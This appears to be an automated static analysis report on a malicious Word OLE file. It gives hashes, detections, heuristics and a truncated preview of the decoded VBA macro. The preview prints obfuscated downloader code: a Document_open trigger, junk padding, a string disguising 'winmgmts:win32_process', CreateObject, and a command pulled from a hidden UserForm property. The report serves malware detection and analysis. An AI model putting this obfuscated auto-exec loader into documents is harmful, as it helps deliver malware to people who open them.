Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d940e5b8994c91b…

MALICIOUS

Office (OLE)

185.3 KB Created: 2020-08-20 22:35:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 4246a23e4d6784a57827c16d26a4376d SHA-1: 8f174c9988382ed224bf8580d012635276f11990 SHA-256: 2d940e5b8994c91b26ef916dcb0ae45f53f0bb3dc6b56dd4e7207ae06bdd8f8f
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden-property command stager, which are indicative of malicious intent. The VBA code appears to be obfuscated but the presence of CreateObject and auto-execution triggers suggests it is designed to download and execute a secondary payload. ClamAV also detected this file as malware.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9436274-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9436274-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11094 bytes
SHA-256: 7dfb53648dcf3bf6a9103dc5dd462e9883728c18bee3a8727dda5fc3625b34eb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "O5869xi7k7eh5"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Lqa6nvbqbzlcpeam0.Bydljwarnm7_g6
End Sub


Attribute VB_Name = "Lqa6nvbqbzlcpeam0"
Attribute VB_Base = "0{2CCAD2D5-5E26-4060-833C-95AFE73AC1E8}{D9554D11-3A4E-49E3-A423-35DCF03AF531}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Bydljwarnm7_g6()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

N32fvcb1kxtd_ = Lqa6nvbqbzlcpeam0.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Ydyi9gc_0hm4_hhcu8 = ChrW(N32fvcb1kxtd_ + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

H8mg0g93s1l5b6_ = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Ydyi9gc_0hm4_hhcu8 + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + Lqa6nvbqbzlcpeam0.Z9seo4g1d1e1eq + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Xd8qfjvno_6 = Eu63oaqaxlewxr(H8mg0g93s1l5b6_)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Gy07gq65ol19512ex = CreateObject(Xd8qfjvno_6)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Ndpk603zfaipemq2j = Lqa6nvbqbzlcpeam0.I1rx34ryj9ggsb5zia.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox 
... (truncated)

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